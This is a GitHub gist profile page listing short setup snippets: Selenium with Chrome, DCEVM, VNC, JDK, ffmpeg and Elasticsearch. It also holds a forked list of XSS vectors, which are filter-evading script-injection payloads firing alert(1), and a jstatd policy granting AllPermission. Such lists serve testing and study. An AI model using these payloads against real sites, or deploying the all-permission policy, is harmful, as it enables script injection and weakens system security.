Skip to content

Instantly share code, notes, and snippets.

View bvolpato's full-sized avatar
🐢
focus

Bruno Volpato bvolpato

🐢
focus
View GitHub Profile
#!/bin/bash
#
# Bash script to setup headless Selenium (uses Xvfb and Chrome)
# (Tested on Ubuntu 12.04) trying on ubuntu server 14.04
# Add Google Chrome's repo to sources.list
echo "deb http://dl.google.com/linux/chrome/deb/ stable main" | sudo tee -a /etc/apt/sources.list
# Install Google's public key used for signing packages (e.g. Chrome)
# (Source: http://www.google.com/linuxrepositories/)
@bvolpato
bvolpato / ba.sh
Last active February 13, 2025 12:06
Install Chrome Driver with Xvfb (Ubuntu Server)
#!/bin/bash
# Chrome Repo
sudo apt-get install fonts-liberation xdg-utils libxss1 libappindicator1 libindicator7
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome*.deb
sudo apt-get update
# Download
@bvolpato
bvolpato / ba.sh
Created July 7, 2016 06:00
DCEVM on Ubuntu
#!/bin/bash
wget https://github.com/dcevm/dcevm/releases/download/light-jdk8u92%2B1/DCEVM-light-8u92-installer.jar
unzip -d dcevm DCEVM-light-8u92-installer.jar
mv $JAVA_HOME/jre/lib/amd64/server/libjvm.so $JAVA_HOME/jre/lib/amd64/server/libjvm.so.bkp
cp dcevm/linux_amd64_compiler2/product/libjvm.so $JAVA_HOME/jre/lib/amd64/server/libjvm.so.bkp
mkdir -p $JAVA_HOME/jre/lib/amd64/dcevm
cp dcevm/linux_amd64_compiler2/product/libjvm.so $JAVA_HOME/jre/lib/amd64/dcevm/libjvm.so
@bvolpato
bvolpato / jstatd.sh
Created July 19, 2016 18:24
Remote VisualVM
cd $JAVA_HOME/bin
echo 'grant codebase "file:${java.home}/../lib/tools.jar" {permission java.security.AllPermission;};' > jstatd.all.policy
./jstatd -J-Djava.security.policy=jstatd.all.policy
@bvolpato
bvolpato / vnc.sh
Created July 21, 2016 17:14
VNC Setup DigitalOcean
#!/bin/sh
#https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-vnc-on-ubuntu-16-04
sudo apt install xfce4 xfce4-goodies tightvncserver
vncserver
vncserver -kill :1
mv ~/.vnc/xstartup ~/.vnc/xstartup.bak
@bvolpato
bvolpato / jdk.sh
Created July 21, 2016 17:20
JDK8 on Ubuntu
#!/bin/sh
sudo apt-add-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java8-installer
@bvolpato
bvolpato / id_rsa.pub
Created July 21, 2016 18:50
Public key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgIRsZ+r4Ycj73pzcITmaLbBF3hRCpNnMYeY/j0UPT8xDwEltKEL1TIoqIZWv+SkEv4PqGo1Cw+6VQX21RfLD/gx10yA1S/fqOEMSp6U6L+m/T+PkZ/uNaple+oUrKfjKAPB+V+sxeH38xWktdkZsTPr5Gqb3ngkrCt46me/UPxwtA0/1DuPY1hgZClmp/EbgLScT8FpNBEwdJO+CEx3H1BFqzG2UgbxRgvVnGjrJmTIwKppOC3cuU8rhbTP+jeIE+kJaD47lFqV+K44uvCQQeQ6g3Vjp3Q4HZ0FO7SxEp9Gor25yHOQrlfdlmWjEZFsliwNRRTAp1Yj+uT98EEKWr [email protected]
@bvolpato
bvolpato / XSS Vectors
Created August 18, 2016 05:08 — forked from sz3n/XSS Vectors
XSS Vectors
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@bvolpato
bvolpato / ba.sh
Created August 23, 2016 05:24
Change Audio in a Video file
ffmpeg -i video.mp4 -i audio.mp3 -map 0:0 -map 1:0 -c:v copy -c:a aac -b:a 256k -shortest output.mp4
@bvolpato
bvolpato / elasticsearch.md
Created August 23, 2016 06:45 — forked from nicolashery/elasticsearch.md
Elasticsearch: updating the mappings and settings of an existing index

Elasticsearch: updating the mappings and settings of an existing index

Note: This was written using elasticsearch 0.9.

Elasticsearch will automatically create an index (with basic settings and mappings) for you if you post a first document:

$ curl -X POST 'http://localhost:9200/thegame/weapons/1' -d \
'{
  "_id": 1,